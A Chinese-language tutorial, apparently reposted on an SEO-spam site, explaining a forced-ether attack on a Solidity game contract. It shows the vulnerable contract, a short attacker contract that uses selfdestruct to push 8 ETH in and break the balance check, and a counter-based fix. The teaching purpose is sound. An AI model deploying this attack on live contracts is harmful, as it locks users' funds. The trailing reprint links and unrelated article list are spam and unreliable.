当前位置: 首页 > wzjs >正文

电商类网站建设价格百度seo建议

电商类网站建设价格,百度seo建议,昆明网站排名优化费用,17模板目录: 智能合约安全 合约无效化攻击 合约自毁函数 selfdestruct 攻击实现 漏洞防御 总结 智能合约安全 合约无效化攻击 合约无效化攻击类同于web安全中的逻辑漏洞中的一种 我们这里拿一个典型的例子来讲解 有这样一份智能合约, 每个人可以向其中发送1 eth 第七个…

目录:

智能合约安全

   合约无效化攻击

   合约自毁函数 selfdestruct

   攻击实现

   漏洞防御

   总结

智能合约安全

合约无效化攻击

合约无效化攻击类同于web安全中的逻辑漏洞中的一种 我们这里拿一个典型的例子来讲解 有这样一份智能合约, 每个人可以向其中发送1 eth 第七个发送的人可以获取全部的7 eth 我们按照这个功能去编写代码​​​​​​​

​​contract Games { function play() public payable { require(msg.value == 1 ether); if (address(this).balance == 7 * 10 ** 18) { // 当此人发送的是本轮中第七次eth, 则获得全部奖励 msg.sender.call{value:7 ether}(""); } }}

阅读代码, 乍一看好像没什么问题 require保证了每人每次只能发送1eth 功能也可以正常实现

合约自毁函数 selfdestruct

接下来就要引入一个关于 合约自毁 的概念:合约部署之后, 假设我们发现了bug, 需要更改,智能合约不像传统的服务器那样, 传统的服务器可以直接关停服务,甚至热更新(在不停止服务的情况下更改服务器代码),在区块链上的代码我们是无法更改的。那么假设我们的某个服务存在类似于”支付漏洞”的漏洞,我们必须要停止掉这个智能合约,这时候就需要用到合约自毁函数,函数签名 selfdestruct(address payable); 该函数接收一个可支付地址作为参数,函数会销毁该智能合约的部署,并将此时合约中存在的余额强制转给指定的地址

攻击实现

那么这个漏洞就很清楚了 只需要我们部署一个智能合约 并使用自毁函数强制转账 8 eth 给上述合约 由于上述合约中的 if(address(this.balance == 7 ether)), 这个条件永远不会被满足 该合约也就失去了作用

攻击代码如下​​​​​​​

contract Attack { function draw() public payable {} // 用来存eth, 方便测试 function over(address addr) public { selfdestruct(payable(addr)); }}

先转账8eth到攻击合约中

图片

然后在将目标合约的地址传给over函数调用

图片

可以看到目标合约中的eth已经变成了8 这时候无论怎样向该合约传入eth 都已经无效了


漏洞防御

作为一名攻击者, 可能会觉得这种类型的攻击可能有些”鸡肋” 换一个角度, 如果你作为一名开发者, 一定是不希望这种事情的发生的 防御的话, 我们可以专门设置一个值, 只有在每次函数被调用时 才会增加, 判断的依据也使用这个值来判断​​​​​​​

contract Games { uint blance = 0; function play() public payable { require(msg.value == 1 ether); blance += 1; if (blance == 7) { // 当此人发送的是本轮中第七次eth, 则获得全部奖励 msg.sender.call{value:7 ether}(""); } }}

总结

本篇主要引入 自毁函数 在攻击上的一些可能点, 其核心还是代码逻辑漏洞, 另外, 本篇中的漏洞代码也可以使用回滚攻击去”耍赖”, 感兴趣的同学可以自行尝试.

申明:本账号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,所有渗透都需获取授权,违者后果自行承担,与本号及作者无关     


文章转载自:

http://Nmi7lWKe.sqfnx.cn
http://B876jIh8.sqfnx.cn
http://tixICieB.sqfnx.cn
http://EH4tNKqE.sqfnx.cn
http://uQol18Zc.sqfnx.cn
http://TqWihWRi.sqfnx.cn
http://XYC5J1oG.sqfnx.cn
http://xXfdWPOX.sqfnx.cn
http://EA9is1Ob.sqfnx.cn
http://kuoZKXuI.sqfnx.cn
http://vaMCTjk5.sqfnx.cn
http://jKiJSQor.sqfnx.cn
http://DDUqxcPB.sqfnx.cn
http://Y7e77Def.sqfnx.cn
http://u6CVyiKH.sqfnx.cn
http://GWp7qWiA.sqfnx.cn
http://sTW8mYNz.sqfnx.cn
http://sKWy0CQX.sqfnx.cn
http://pV0pLx9s.sqfnx.cn
http://TpjgYCxp.sqfnx.cn
http://62usEzD5.sqfnx.cn
http://EGp8R4un.sqfnx.cn
http://oOXbXOkd.sqfnx.cn
http://4VggiMnB.sqfnx.cn
http://jtWnil10.sqfnx.cn
http://XgR01iXb.sqfnx.cn
http://6hKobJhS.sqfnx.cn
http://0agqi16A.sqfnx.cn
http://5jrC0mTO.sqfnx.cn
http://4NanJjOE.sqfnx.cn
http://www.dtcms.com/wzjs/665517.html

相关文章:

  • 潍坊住房和城乡建设局招标网站宣传片制作模板
  • 网站基础内容开一个小程序要多少钱
  • 延边网站开发depawo网站建设app是什么
  • 汕头模板自助建站珠海网站制作哪家好
  • 网站建设众包平台网站分站代理加盟
  • 如何做好网站seo商机创业网2021创业
  • 网站制作合同模板网页美工设计的要点分别是什么
  • 外链购买交易平台新网站如何做seo推广
  • 扬中企业网站优化哪家好北京做seo的公司
  • 网页跳转到其它网站onedrive wordpress
  • 石家庄网站建设方案优化seo优化包括哪些
  • 辉县网站建设求职简历网页游戏开服表最全
  • 做软装找图片的网站农副产品网站建设目标
  • 网站备案管理系统登录不上去犀牛云做网站怎么这么贵
  • 网络公司手机网站模板五金表带厂东莞网站建设
  • tp5 商城网站开发海外网站平台
  • 建设网站用哪种语言2008 iis 添加网站
  • 高埗做网站网站优化是在哪里做修改
  • 网站后台管理 ftp青海省建设监理协会网站
  • 2015年做啥网站致富网站设计需要什么专业
  • 写作网站哪个比较赚钱做任务的网站
  • 网站怎么做效果更好试述网站建设的步骤过程
  • 自己做视频网站流量钱网站服务器哪家好些
  • 有没有专门找装修公司的网站哪个网站可以做高数题
  • 百度站长工具验证无锡做设计公司网站
  • 行业网站大全做视频网站每部电影都要版权
  • 响应式网站建设的好处免费域名注册免备案
  • 网站的建设ppt模板鲨鱼座 网站建设
  • php网站开发的第三章wordpress 页面
  • 可以在线做护理题的网站摄影网站设计论文